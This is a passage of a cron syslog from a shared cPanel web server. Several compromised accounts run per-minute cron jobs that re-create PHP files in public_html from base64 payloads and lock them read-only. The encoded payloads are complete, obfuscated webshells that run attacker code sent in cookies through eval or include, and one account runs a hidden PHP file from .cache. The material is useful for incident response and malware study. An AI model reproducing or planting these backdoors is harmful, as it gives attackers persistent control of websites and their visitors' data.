Z3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:20:02 medusa CROND[30906]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:20:02 medusa CROND[30916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30933]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:20:02 medusa CROND[30936]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:20:02 medusa CROND[30909]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 19:21:02 medusa CROND[23325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:21:02 medusa CROND[23381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:21:02 medusa CROND[23385]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:21:02 medusa CROND[23386]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:21:02 medusa CROND[23387]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:21:02 medusa CROND[23388]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:21:02 medusa CROND[23389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:21:02 medusa CROND[23394]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:21:02 medusa CROND[23395]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:21:02 medusa CROND[23398]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:21:02 medusa CROND[23406]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:21:02 medusa CROND[23408]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:21:02 medusa CROND[23412]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:21:02 medusa CROND[23413]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:22:01 medusa CROND[15223]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:22:01 medusa CROND[15224]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:22:01 medusa CROND[15226]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:22:01 medusa CROND[15227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:22:01 medusa CROND[15228]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:22:01 medusa CROND[15229]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:22:01 medusa CROND[15236]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:22:01 medusa CROND[15239]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 19:22:01 medusa CROND[15238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:22:01 medusa CROND[15241]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:22:01 medusa CROND[15242]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
